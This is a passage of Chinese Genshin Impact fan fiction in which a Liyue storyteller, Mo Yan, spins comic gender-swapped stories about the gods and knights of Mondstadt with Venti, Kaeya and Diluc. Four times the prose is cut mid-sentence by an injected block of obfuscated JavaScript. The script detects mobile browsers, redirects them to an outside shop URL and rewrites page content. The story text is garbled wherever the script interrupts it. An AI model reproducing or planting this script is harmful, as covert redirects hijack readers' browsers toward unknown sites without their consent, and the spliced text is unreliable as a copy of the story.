她长呼一口气,期待的看着人群。 “哈哈哈哈哈哈哈哈!”人群爆发了激烈的笑声。所有人都捂着肚子,笑得直不起腰。 “这个璃月小姑娘真好玩!” “今天经历,真的是太有意思了!哈哈哈哈哈哈哈哈……” 所有的观众都很开心,而站在人群中心的莫言,却迷茫的瞪大了眼睛。 “大家,为什么不讨论我的故事?”她的声音小小的,在说出口的刹那,便淹没在了人群的嬉笑声中。 每个人都很开心。 除了莫言。 在人群的欢笑声中,她悄悄地溜走了。 22、 独自一人来到天使的馈赠,莫言挑了一楼角落的某张小桌子,将自己摔进了椅子中。 柜台后,迪卢克依旧勤勤恳恳的擦着桌酒杯。 莫言眨眨眼,突然感觉这个红头发的酒保很神奇。明明刚刚还混在人群中听她说书,而一会儿的功夫,竟然又出现在酒馆,开始为酒鬼们服务了。 他该不会会瞬移吧? 一瞬间,莫言文思泉涌。她想起了一个梦,梦里,有着永远黑沉沉的天空,一个狂笑的小丑,还有一个更加黑漆漆的蝙蝠。 看着端着东西走过来的迪卢克,莫言压低声音:“我是黑夜,我即复仇,我是——” “暗夜骑士!” 迪卢克瞳孔微缩:“什么?” “是新的故事灵感!”莫言掏出随身的小本本,开始疯狂记录,“我刚刚突然想到一个故事。” “在蒙德,有位非常有钱的大商人……嗯,就定成酒商吧,或者现实一点,直接说是天使的馈赠的老板?” “这位有钱人,白天勤勤恳恳卖酒赚钱,晚上便会带上面罩,穿梭于蒙德城中,变身为黑暗中的英雄——暗夜骑士!” “骑士……西风骑士团……嗯,好像得避讳一下,那就是,暗夜英雄!” 在迪卢克震惊的眼神中,莫言下笔如飞:“当然,这位英雄也有过去。干脆就出身西风骑士团吧!因为某件事情与骑士团分道扬镳,但我们的暗夜英雄,依旧在默默守候着蒙德城!” 她放下笔,期待地看着迪卢克:“迪卢克先生,你感觉这个故事如何呢?” 迪卢克沉默片刻,把托盘上的酒杯放在了莫言桌子上:“感谢您的故事。一杯果汁调制的‘甜馨果酒湖’,我请你了。” 言罢,他竖起托盘,便要转身离开。 一天都没有得到评价,莫言实在是心中忐忑。她站了起来:“迪卢克先生,这个故事……” “故事很有趣,”迪卢克回过头。他始终淡淡的,脸上没有太多表情,莫言也看不出他的情绪。 “可惜,我就是天使的馈赠的老板,你故事中那位有钱人。” 莫言瞪大双眼:“!” “对不起对不起迪卢克先生对不起!请当做没有听过这个故事!” “真的!非常!对不起!” 23、 说出今天的第三百一十二声对不起后,莫言呆呆坐回自己的小角落。 那杯“甜馨果酒湖”很漂亮,可惜,莫言实在没有下口的心情。 “我说的书真的那么糟糕吗?” “我的故事真的那么无聊吗?” “不对不对,我不能质疑自己!” 拍拍自己的脸颊,莫言开始认真思考问题:“首先,演出的场地不太好,这个确实是我的问题。” “其次,没有收到太多大家的评价……这一定是蒙德人的问题!” 莫言气鼓鼓地鼓起:“一定是他们井底之蛙,没有见过这么厉害的说书,被我震撼在原地了!” “嗯,一点是这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391737|200310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的!” “都是蒙德人的错!” “唔?发生了什么吗?” 温迪抖抖绿色的小披风,在莫言对面坐下:“怎么这么生气?身为蒙德人的我,真的是有几分好奇呢。” “是你啊,温迪。”莫言有气无力的抬抬酒杯,算是打了个招呼,“你说,我的说说真的很无聊吗?” “哎?你为什么会有这样的想法呢?”温迪轻轻笑了。明明是少年的模样,他竟然摆出了大人的架势,试图以温和的倾听,包容下莫言的情绪。 发现这一点后,莫言忍不住笑出了声:“是成年人的垃圾。未成年的小朋友,就不要打扰大人的伤心时间啦。” 温迪竟然煞有其事地点了点头:“那这位伤心的大人,还记得咱们刚见面时,你的承诺吗?” 莫言确实不太记得了。她眨眨眼,满脸都是迷茫:“什么?” “酒啊!”温迪脸上堆满了沮丧,他靠在椅子背上,宛如被太阳晒蔫的塞西利亚花,“你这位成年人,不是答应了要请我这位未成年喝酒吗?” “你可是璃月港来的,作为岩神的信徒,你可不能不信守承诺哦?” 莫言忍不住笑了:“好好好,你想喝什么?唔,蒙德好像有很多酒,午后之死?带刺镜湖?” 温迪欢快地笑了:“一杯蒲公英酒,谢谢!” 24、 带着欲言又止的神色,迪卢克将蒲公英酒放在莫言面前。顶着温迪期待的目光,他把酒杯朝莫言又推了推。 在迪卢克转身的那一刹那,莫言迅速的把酒推到了温迪面前。 酒是坏东西!要迅速远离! 温迪快乐地拿起酒杯,心满意足的喝上了一口:“哇!莫言,你真是大好人呐!怪不得能讲那么有意思的故事呢。” 他很快乐,但莫言不是。 少女垂下了眼眸,浑身被沮丧包裹:“没有意思,大家都不喜欢我的故事。” “唉?”温迪那双本就大的眼睛瞪得更大了,“怎么会呢?是谁说了什么吗?” 莫言现在吸了吸鼻子,感觉眼眶有些发酸:“没有,没有人说什么。” 人们只是,什么都没有说罢了。 “嗯嗯,我就说嘛,怎么会有人不喜欢你的故事呢?”温迪笑眯眯的举起酒杯,“来,让我们干杯吧!” 莫言蔫唧唧地举起酒杯:“好哦。” “让我们——敬不干正事的巴巴托斯!”温迪笑眯眯的喝下一口酒,看着莫言呆愣在了原地。 莫言眨眨眼,看向了自己这位“竞争对手”:“你不讨厌我造谣风神吗?” “为什么会呢?”温迪脸上的笑格外慈祥,“你的故事很有趣,不是吗?” “四风守护全部化为动物,巴巴托斯与风魔林的互动生动有趣,我很喜欢这个故事呢!” 莫言一拍桌子,脸上有了些许神采:“那,你感觉蒙德人会喜欢我的故事吗?” “当然啦!请相信我的专业点评,我可是蒙德城最好的吟游诗人呢。” 得到了鼓励,莫言也终于有了勇气,去问出那个她纠结了许久的问题:“那在我说书时,大家为什么不给我评价呢?” 5. 你好,岩王奶 25、 “诶?大家没有夸你吗?”温迪眨眨眼。 莫言鼓起脸颊:“没有!别说夸了,连骂我的都没有。” “可我明明听到,大家都说呢。”温迪从怀里掏出琴,轻轻抚摸。 “你的说书真是一场欢乐的戏, 蒙德的酒馆都为你着迷—— 听客们拍案,笑声溢满长椅, 连吟游诗人也偷学你的韵律。 莫停,莫停! 这故事该缀满星辰与花语, 让风带着它,吹进每个行人的梦里。” 诗歌动人,莫言不自觉地弯了嘴角,口中却仍在反驳:“可大家都在笑今天的经历……呸呸呸,温迪,我才不要学你的旋律!” 温迪也笑了,他朝迪卢克以眼神示意再来一杯酒:“来蒙德之后,你喝过酒吗?” 莫言迷茫:“喝过,怎么了?” “你花过钱吗?” “当然……额,好像确实没有花过。” 莫言掰着指头,一杯一杯地数着:“凯亚请我了一杯蒲公英酒……然后又一杯‘好天气’……迪卢克先生请了一杯‘甜馨果酒湖’……” “欸,我好像真的没有自己花钱买过酒欸。” “这就是最好的认可,不是吗?”温迪笑眯眯地捧起眼前的蒲公英酒,“大家喜欢你的故事,愿意在故事结束后请你喝一杯酒。” “这难道不是喜爱吗?” 莫言摸摸脑袋:“好像是哦。” 可她依然有几分不解:“那大家为什么不当场评价?难道是不好意思吗?” “唔,可能是今天的经历太有趣了吧!”温迪喝尽杯中酒,看向了窗外,眼神幽远,“再有趣的传说,也比不上自己经历的故事。” 他回过头,给莫言了一个灿烂的笑脸:“在你离开后,大家可都在打听你是谁呢。” “能讲出这么有趣的故事,大家夸奖时,可不能只说是璃月来的无名氏啊。” 莫言大惊失色:“唉唉唉,我没有自我介绍吗?” 温迪煞有其事的点点头,给自己倒了杯酒,又故作严肃地绷起脸:“让我好好想想……嗯嗯,没有呢。” “诶诶诶!” “所以啊,亲爱的莫言,讲下去吧。” “风带来了酒香,也带来你的声音—— 再说一段吧,别让琴弦等得太静。 你唇齿间的故事比苹果酿还醉人, 连蒲公英都停下,忘了远行。 别停,别停! 就让这诗句乘着云影, 从天使的馈赠,唱到星空下的屋顶。” 26、 “我的免单仅限于莫言小姐,温迪阁下,请自己付酒费。” “没关系,我请客!请稍等,我数一下钱。” “一摩拉二摩拉三摩拉……十摩拉……” “温迪阁下?” “好啦好啦,我来付钱吧。” “没关系,说了我请客就是我请客!等我看一下账单……温迪!你究竟喝了几杯啊!” “诶嘿?” “诶嘿是什么意思啊!” 27、 在掏空钱包后,莫言终于付完了温迪的酒费。她趴在桌子上,仿佛失去了所有的灵魂。 温迪有些不太好意思:“要不,我把钱补给你?” “不了,说好的我请客,就应该是我请客,我可不能违背了‘契约’。” 莫言倒着空荡荡的钱包,感觉前路渺茫:“吟游诗人都这么穷吗?” 温迪叹了口气:“真是抱歉啊,谁让这美酒实在迷人,我总是会忍不住贪杯呢。” “不过,”温迪爬起身子,“你说书说得这么好,在璃月还没有被夸奖够吗?” “因为璃月的大家太严谨了吧。”莫言蔫唧唧的,掏出了随身的小本。 “讲着讲着,大家都开始讨论这是不是真的了。” 温迪好奇:“比如?” 莫言随手翻开一页,给温迪朗诵:“论岩王爷女装的可能性。在传说中,岩王爷可以随意捏造肉身。假如岩王爷微服私访,他会不会化作女装呢?” “诶?”温迪大惊失色,“难不成,在你的梦里……” “没有没有没有!”莫言疯狂摆手,“我的梦绝对没有这么狂野!” “我不信。”温迪神色凝重,“你甚至梦见勤劳而辛勤的巴巴托斯不干正事,梦见摩拉克斯女装很正常吧?” 不知何时坐在温迪背后的凯亚被酒呛到,连连咳嗽。 温迪质疑:“会不会你梦中有女装的摩拉克斯,但是你没有认出来?” 莫言大受启发:“你这样一说,我也感觉很有可能诶!” 她拿起笔记,开始疯狂记录:“岩王爷法力高强,就算把自己捏成女性,也一定是高挑强大温柔帅气的大姐姐!” 温迪快乐点头:“嗯嗯!” 莫言笔下不停:“刚好我做过一个梦,梦见岩王爷喜欢清冷高贵的熏香。不愧是大姐姐,这个审美太对了!” 温迪疑惑点头:“嗯嗯?” 莫言下笔如飞:“某个微雨的白日,大姐姐版岩王爷,呃,岩王奶在港口漫步,听到一个商人对属下的夸奖:‘你完成了你的职责。现在,去休息吧。’” “岩王奶在来往的人群中驻足良久,心中不断自问:我的职责……又是否已经完成?” “然后,他,不,她策划了假死。虽然看似不在人间,但我们尊敬的岩王奶,依旧潜伏在璃月港,看着她最爱的人间!” 温迪艰难点头:“嗯嗯……要是把这个故事说出去,别说是我给你的灵感啊。” 完全没有在乎听众的意见,莫言已接近癫狂:“灵感,我感觉灵感源源不断的涌现!” 凯亚把椅子转个方向,沉默地看着这不着调二人组。 莫言依旧在写着,温迪不时来补充一些意见:“你们璃月港不是有仙人吗?岩王奶女装,说不定,也是为了躲避自己的下属呢?” 莫言恍然大悟:“嗷嗷,有道理!” “摩拉克斯已经几千岁了,男装已经穿腻了,该试试女装了!” “是的是的,就是如此!” “岩王奶……” “没错没错……” 半晌,“正经人”凯亚终于忍不住了:“原来,璃月也有人不喜欢岩神吗?” “啊?”听见关键词,莫言疑惑地抬起头,“应该没有吧?我们璃月港只有帝君吹和过激的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391738|200310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝君吹。” 温迪沉默了。凯亚也沉默了。二人一起望着莫言,一言不发。 莫言大为震惊:“你们说的不会是我吧?我特别尊敬岩王帝君的!要是不尊敬,我也不会给他写那么多故事吧!” “每一段被编造的故事,都是我对他的敬爱啊!” 温迪欲言又止:“莫言,你尊敬巴巴托斯吗?” “本来一般其实。”莫言挠挠头,“可是温迪你太好了,你是个心地善良的大好人。” “我决定了!从今天起,我要尊敬巴巴托斯!尊敬程度的话,就是岩王帝君的一半吧!” 温迪:“……也挺好的。” 凯亚则更加直白:“我很好奇一个问题,莫言,田铁嘴和摩拉克斯,你更尊重谁呢?” “当然是我男神啊!”莫言嚯地一下站了起来,激动地开始比划。 “我男神!和那些凡俗的神明!可不一样!他!他说的书!引导了我的一生!” “就算是!岩王爷!也不能!和我的男神!相提并论!” 凯亚恍然大悟似地点点头:“所以你果然是帝君黑。” “哼!跟你这种人说不通!”莫言气鼓鼓地坐下,想喝一口杯子里的饮料,却没注意杯中酒早已饮尽,只倒了一嘴空气。 她又冷哼一声:“不管你信不信,我算是岩王爷很忠诚的信徒了!” 凯亚:“这岩王爷的生存环境竟然如此艰辛吗……” “没有生,帝君大人已经死啦。”仿佛被针扎破了气,莫言叹了一口气,重新在椅子上端坐好。 “我这样讲故事,其实也是因为我不能接受帝君大人的离去。” 她沉默着拿起酒杯,横着放倒在桌面上,滚来滚去,滚来滚去:“可不管故事里的岩王奶如何假死,我们的帝君大人是真的逝去了。” “……抱歉。”凯亚低下头,面上浮现出的愧疚,“我不该提起……” “不,没关系。”莫言摇摇头,脸上虽有悲伤,但更多的还是坚定,“我只是一个小小的说书人,一个什么也做不了的说书人。” “但我可以让帝君大人在我的故事里活下去!” 迪卢克沉默地看了许久,冷不丁插了一句:“作为岩王奶吗?” “是的!”莫言重重地点了点头,“你们不知道,现在女装最吸引人了。” “岩王爷的故事,璃月港听了太多太多。现在,该让岩王奶的故事席卷蒙德城了。” 她拉起温迪的手:“你放心,我一定会牢记你的启发。不管什么时候,只要提到岩王奶的故事,我一定会在后面加上——” 莫言站起身,学着西风骑士的礼节,躬身行礼:“谨以这个故事,献给我的朋友,蒙德城最好的吟游诗人——温迪,以感谢他献出的灵感!” 温迪面容僵硬:“不用了谢谢,你说自己的书就行,不用管我。” “不!我要尊重你的署名权!” “真的不用了谢谢。” “好吧,那我就把这份尊敬,挪给你尊敬的巴巴托斯吧!” “……这个更不用了谢谢。” “巴巴托斯的神像有小辫子,有没有一种可能,她一直在女扮男装呢?” “……没有,谢谢。” 6. 女孩子是极好的 28、 被灵感冲昏头脑的莫言没有在意场合,直接摊开自己的随身小本,开始快乐地写写写。 “众所周知,咱蒙德隔壁就是璃月,璃月有个强大的神明,其名摩拉克斯……嗯,我是要说给蒙德人听,稍微夸一下巴巴托斯吧……” “这位摩拉克斯啊,只比咱们巴巴托斯逊色几分……真的好违心啊,算了算了,看在温迪的面子上,我要忍耐!” “其实你可以不提巴巴托斯的……”温迪弱弱反驳,却被莫言略带怨气地瞪了一眼。 “不行,我要如同尊敬岩王帝君一样,尊敬你尊敬的巴巴托斯!” 温迪在椅子上越坐越靠下,几乎出溜到了地板上:“啊哈哈,也不必如此……” 二人争执起来,却听到大门被打开的声音。莫言扭过头,看到了来人。 那是一个骑士。 原谅莫言无法用更多言语形容,但来者金发碧眼,一身制服,腰间挂着西风剑,金色长发高高竖起,和她读过的《侍从骑士之歌》后幻想的骑士一模一样。 骑士皱着眉头,表情十分严肃。她环视四周,目光锁定了凯亚:“凯亚,如果我没记错,现在应该是工作时间。” 凯亚小心翼翼地放下酒杯:“啊哈哈,琴团长,下午好啊。我其实在工作,你信吗?” “下午好!”名为琴的骑士点点头,和周围人纷纷打招呼,“下午好,迪卢克先生,温迪阁下,莫言小姐。” 莫言屏住了呼吸:“下午好,骑士小姐。” 琴冲她笑了笑,视线又重新放回了凯亚身上:“如果我没有记错,你现在应该在会议室。” 凯亚冷汗都要滴落下来:“啊哈哈,情况特殊……” 琴笑得高贵优雅:“是吗?我倒想知道是怎样的特殊情况,竟然需要我们的凯亚队长哄骗可莉炸鱼来吸引视线。” 凯亚笑得愈发勉强:“琴团长,你听我狡辩……不对,解释……” “哇哦!”一旁围观的莫言大为震惊,“凯亚你竟然有工作诶!” “我在蒙德待了三天,有两天都能和无所事事的你偶遇。我还以为你没有工作呢!” 琴脸上青筋暴起:“凯,亚,你说,你在调查盗宝团相关事项?” “啊哈哈,这个嘛,这个嘛……”凯亚已经完全维持不住自己的面部表情了,只能向迪卢克投去求助的视线。 就如往常一下,迪卢克回过了头,继续擦着他的玻璃杯。 无人救助的凯亚,被琴拎着耳朵带走了。 直到她离开后,莫言才喘了一口大气:“她真好看。” 温迪颇为赞同地点点头:“那是我们蒙德西风骑士团的代理团长,狮牙骑士。” 他顿了顿,补充道:“也是你的故事——‘巴巴托斯干点正事吧’里面的那头狮子哦。” 没有理会小伙伴的挑拨,莫言喃喃自语:“我有了新的灵感。” 温迪有了不太妙的灵感:“与巴巴托斯有关吗?” “有点。” 莫言将本子翻到了最新一页,开始记录:“但是,更多的灵感来自骑士琴小姐!” “先虚构一个世界观,嗯嗯,就叫大不列颠吧。有个传说中的古国,名为大不列颠。先王驾崩前,将神剑插入教堂庭院石中,上刻铭文:凡能拔出此剑者,即为正统国王。” 莫言在旁边画了个圈,又在上面画了个竖线。 “无数贵族武士尝试,皆纹丝不动。这时候,就该我们的主角出场了!少年亚瑟陪同养兄凯爵士参加比武,凯不慎遗失佩剑,命亚瑟另寻一把。亚瑟遍寻无果,瞥见石中剑,上前紧握剑柄,竟轻松拔出。众人便尊亚瑟为王!” 莫言哼哼两声:“这就是,石中剑的故事!” “确实与骑士有关,但与琴小姐的关联在哪里呢?”温迪发问。 莫言恨铁不成钢地看着他:“当然是因为,亚瑟不是亚瑟,而是——” “女扮男装的阿尔托莉雅啊!” “这个女扮男装有什么理由吗?”温迪仍在尝试修改这个故事,“亚瑟完全可以是个男孩子啊!” 突然闪现的迪卢克:“为了吸引读者的阅读兴趣吧。” “是的!骑士的故事,蒙德城听了太多太多!现在,该让男骑士们穿上裙子,来行淑女的礼节了!” 说着说着,莫言突然沉思下去:“等等,可这根本不符合现实。” “你终于发现这个问题了吗?”温迪本已被言语打压得几乎趴在地板上,闻言,又突然跳起,“我们还是来说一些正统的骑士文学……” “七神二男五女,按理来说,应该是男扮女装才能符合历史吧。” 说完,莫言还煞有其事地点点头,又摇摇头。 温迪尝试给出建议:“比如冰之男皇……” “算了,感觉大家还是比较喜欢女孩子呢。”莫言揣摩一下,开始认真琢磨,“西风骑士团的大团长叫法尔伽吗?那就是——珐尔嘉大小姐!” “珐尔嘉大小姐从小有一个梦想,那就是——嫁人!” “但很可惜,珐尔嘉大小姐身姿高挑,酒量惊人,每个男人都在她面前自谦自愧。因此,珐尔嘉大小姐不得不女扮男装,来到西风骑士团,去找寻她命中注定的爱人!” 温迪欲言又止,止言又欲:“讲了法尔伽,就别讲巴巴托斯了吧……” “放心,这个肯定少不了!珐尔嘉大小姐因为实力强大,竟然成为了骑士团团长!因此,她得知了一个秘密。原来蒙德城信奉的神明,竟然不是巴巴托斯!” “而是——芭芭托丝!” “然后二人一起这样那样,那样这样……” 29、 “停停停!”温迪打断了莫言的话,“作为同行,我有一个问题。” 莫言眨巴眨巴眼:“嗯?” 温迪的表情格外严肃:“你的灵感很多很杂,但你有没有想过,你要讲述一个怎样的故事呢?” “会为大家带去欢乐的。” “你改编现实,想将故事讲的有趣,却依然不愿意放下故事的史诗感……” “不我可以放下,我就想讲一点搞笑的。” “历史的沉重和日常的鲜活无法兼容……” “那就不要沉重,我要搞笑。” 温迪表情痛苦:“……非得是芭芭托丝吗?” 莫言表情坚定:“还有珐尔嘉呢!当然,我还可以加上一个游吟诗人小姐,来传唱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391739|200310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这二位的故事,其名为——温蒂!” “……那岩王奶怎么办?” 被问到这个问题,莫言也不禁陷入了沉思:“虽然这个灵感属实有趣,但我总有一种预感,讲了这个故事就会被打。” “要打也轮不到你挨打吧……”温迪小声地嘀咕着,却见莫言又叹了一口气。 “帝君大人刚刚逝去,送仙典仪刚刚结束,不是所有的帝君吹,都能在这个时间接受岩王奶的。” 温迪瞪大了双眼:“应该说,大部分人都无法接受岩王奶吧!” 莫言思考着:“但我也不能放弃这个灵感。都说稻妻的锁国永无尽头,决定了,等到稻妻废除了锁国令,我就立刻开始传唱岩王奶的故事!” 不顾温迪的阻拦,莫言哼着歌,拎着本子离开了。 “大丘丘病了二丘丘瞧,三丘丘买药四丘丘熬……” “哈哈哈,离开了璃月,再也没有人对我的野史指手画脚了!” 30、 午夜,天使的馈赠。 凯亚向罗莎莉亚敬了一杯酒:“你那边有什么发现吗?” 罗莎莉亚看着杯中的酒花,将其一饮而尽:“莫言看似是个普通璃月女孩,却能一招制服一只野猪。这个情报如何?” “哦?”凯亚摇晃着酒杯,眉头一挑,“虽然表面上看不出来,但作为神之眼的拥有者,有这个战斗力很正常吧。” 迪卢克坐在二人对面,瞥了他们一眼:“骑士团的情报网,竟然这样没用吗?” “那迪卢克先生有什么指教吗?”凯亚笑了笑,又开了一瓶新的苹果酒。 迪卢克没有说话,只是把一张画片递了过来。凯亚与罗莎莉亚同时凑上前去。 这张画片似乎是枫丹廷留影机拍下的照片,背景大概在璃月的归离原。在某棵枫树下,莫言坐在一只昏迷的野猪身上,满脸都是得意。 凯亚摩挲着照片的边缘:“这是……” 迪卢克面无表情:“是莫言一招制服野猪的瞬间。” “有野猪追来,她爬上树躲避,却一不小心从树上掉了下来,正好砸在了野猪头上。” “野猪昏迷。制服成功。” 罗莎莉亚冷笑一声,拿过凯亚面前的酒,一饮而尽。 凯亚哈哈大笑:“虽然表面上看不出来,但作为神之眼的拥有者,莫言还蛮抗摔的啊!” 31、 午夜,风龙废墟。 那些风也不愿意听的声音—— “特瓦林,你想听新的故事吗?” “哦?是怎样的故事呢?” “待我拨动琴弦,待我轻声歌唱——” “都说风神是少年郎,白衣游四方。 可知那衣袍底下,青丝如瀑女儿妆? 都怪岩王设酒局,一盏赌输三千年长: 扮个男装莫声张!” “她把云朵裁成袍,星辰藏进帽檐旁, 压低声音唱诗篇,连风听了都晃荡。 演了千百载,竟也像模像样, 反正自由不拘皮囊,不过一场酒债慢慢偿。” “哎,老爷子啊老爷子,我都开始宣将芭芭托丝的故事宣扬,你可千万别,朝我投掷岩枪!” 7. 亲爱的珐尔嘉 32、 虽然有很多灵感,但是—— 莫言,卡文了。 她坐在窗户边的桌子上,感觉点子一个一个往外冒,又多又杂,却抓不住半点头绪。 “岩王奶现在不能讲……珐尔嘉需要调查一下蒙德居民的认可程度……芭芭托丝如上……” 她疯狂地揉着头发,感觉自己是如此的为难:“要不就讲拔出石中剑的阿尔托莉雅?不行不行不行,这个故事还是有点单调,有趣点全在男做女,万一蒙德人根本不认可……” “啊啊啊,读者们到底喜欢什么样的故事啊!” “算了,反正我也没说明天就讲新故事。鸽了鸽了。” 一番纠结中,莫言把本子扔到一边,扭头就睡。 “明天得去调查一下蒙德人的接受程度……唔……还有……呼呼呼……” 33、 第二天的一早,莫言便站在了风神像下,等待着吟游诗人们的到来。 蒙德真不愧是诗歌的城邦,明明天色很早,这片不大的广场上已经出现了三个吟游诗人。 六个指头的男人拨着琴弦,唱着旅行者的冒险; 看起来有些羞涩的少女抱着木琴,唱着骑士古老的传说; 还有温迪,他拎着他那只格外漂亮的琴,在唱着芭芭托丝。 是芭芭托丝,不是巴巴托斯。 “若非那盏石髓酿,哪来千年诗篇唱个遍? 男装也好,女装也罢,风神从不看皮面。 倒是岩王那老古板,守着契约几千年, 殊不知自由二字,本就该输给酒钱! 来,满上! 敬这场三千年,最漂亮的欺骗!” 许是故事过于新奇,不少人都围了过来,就连那二位“正统”的游吟诗人,也放下手中的琴弦,过来听温迪的吟唱。 凯亚轻声笑道:“真是有趣的故事,不是吗?” 莫言点点头:“是的是的,性转是最有趣的故事!”一句话说完,她才发现有些不对劲,“等等,你不用上班吗?” “谁让骑士团的工作自由呢。”凯亚伸出双臂,做咏叹调,“啊,自由,多么伟大的芭芭托丝女神啊,竟给蒙德城赋予了这样伟大的含义!” 莫言若有所思:“所以,大家果然都很喜欢女孩子啊。” 温迪一曲唱罢,躬身行礼,赢得众人欢呼。混在人群中,莫言双手凑到耳边形成喇叭:“温迪!谢谢你的启发!我不会再犹豫了!我会坚定自己的想法,讲出我想讲的故事的!” 人群喧闹,温迪应该没有听到这句感激。可不知道为何,莫言总感觉温迪回头看了她一眼。 “……原来你没有想讲吗?为什么不早说……” 奇怪,是有谁在说话吗?莫言挠挠头,快乐的回家准备稿子了。 34、 “诸位看官,在下乃是璃月来的说书人吴妙嘴,今天啊,给大家说说一段奇事。” “列位都知道,蒙德城西风骑士团,那可真真是猛将如云,豪杰辈出。而若问这满团豪杰之中,谁人称得上头一把交椅——十个人有十一个会说:那还用问?自然是咱们那位大团长,法尔伽!” 人群中提出反对意见:“我认为蒲公英骑士琴更强!” “胡说八道,火花骑士才是那个最强的骑士!” “我感觉骑士团那个图书管理员小姐最吓人,上次我忘记还书……额不说了不说了 ” 莫言煞有其事地点点头:“诸位所说,都有几分道理。但大家有没有发现,几位所提到的都是女骑士?” “这……”围观群众愣在了原地,“好像确实啊,蒙德城最强的男骑士,应该就是法尔伽大团长了吧?” “啪!!”莫言一拍惊堂木,让观众重新安静下来,“提起这位大团长,那可真真儿是——身高八尺,虎背熊腰,两把大剑使得是虎虎生风,龙吟四野,魔物听其名而丧胆,丘丘人闻其风而遁形。诸位,那是何等威风,何等气魄!” “确实,确实。”大家纷纷点头。 莫言竖起手指,先左右观察了一下环境,才把手指放在嘴边,“小声”的大声说:“可今儿个,在下要说的这段书,却涉及一个石破天惊的大秘密——” “这位让整个蒙德城都敬仰的大团长,法尔伽……他呀——” “她!” “是个女儿身!” “啊?怎么可能!” “不不不假的吧,大团长那么能喝酒,怎么会是……” “大团长快两米了吧,长得这么高,绝对是男人吧!” 看着纷闹的人群,莫言满意地点了点头:“列位,先别急着摔茶碗,且听在下慢慢道来。” 人群安静了下来。一时间,只有莫言慷慨激昂的说书声,还有不知何时突然刮起的风声。 “话说这蒙德贵族之中,有一户世家,家中有一位千金小姐,闺名唤作珐尔嘉。这位珐尔嘉大小姐可不了得,旁人家的姑娘学绣花,她也学。几针下去,便能绘出蒙德城的大好山河。” “旁人家的姑娘学礼仪,她也学。一堂课下来,教礼仪的老先生吓得告假半月:大小姐真的十分优雅,老朽我教不得,教不得!” “哇哦,大团长就是大团长,不仅喝酒厉害,做大小姐也厉害!”某位西风骑士忍不住低声赞叹。 莫言认识他,这位与劳伦斯家族无关的劳伦斯先生,是蒙德城的守门骑士,为人热情开朗,热爱喝酒。 等等,劳伦斯,劳伦斯家族……心思流转间,莫言忍不住为草稿加入了新的语句: “要说珐尔嘉有多完美呢?就连劳伦斯家族的大小姐,见到珐尔嘉小姐也不由得心生惭愧,暗谈:既生我,又何生珐尔嘉!” 人群中,某位蓝发的美丽骑士发出一声冷哼。 “咱们的珐尔嘉小姐,不仅是个完美的贵族小姐,还有一身神力!” “诸位,这话可不是在下信口开河。据说珐尔嘉年方十二那年,家里给她配了一名骑士做护卫,膀大腰圆,浑身铁甲,威风凛凛。见者无不惊叹——这骑士,好!” “骑士忠心耿耿地守护着珐尔嘉小姐。有一日,小姐的马车轮子陷进泥里,可骑士使出吃奶的劲儿也推不动。” “珐尔嘉小姐叹了口气,下了车,单手托着车梁往上一抬——那马车就跟个风筝似的,轻飘飘就出来了。” 人群中倒吸了一口凉气:“真不愧是大团长啊!” 可莫言却叹了一口气:“可惜,珐尔嘉的父母却十分忧虑。看官们猜猜,为什么?” 顿了十几秒,给大家一些讨论的时间后,莫言又一拍惊堂木:“因为,珐尔嘉小姐嫁不出去啊!” “到了该说亲的年纪,家族里那些长辈们便开始四处张罗,要把这位大小姐嫁出去,好联姻攀个高枝儿。” “结果呢?来一家,黄一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391740|200310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家。相一个,吹一个。” “胡说八道!这么完美的珐尔嘉小姐,怎么会没有人示爱呢?”人群中传来不满的声音。 莫言故作高深地摇摇头:“为什么呢?列位,倒不是咱们珐尔嘉小姐生得不好看——恰恰相反,剑眉星目,英气勃勃,那相貌放在人群里,那叫一个出挑。” “可问题是——她太高了!比来相亲的那些贵族公子哥儿们高出大半个头去。肩膀也宽,往那儿一站,那些公子们站在她跟前,活像一只只鹌鹑。” “……确实,大团长有一点点高。” “还有一点点壮。” 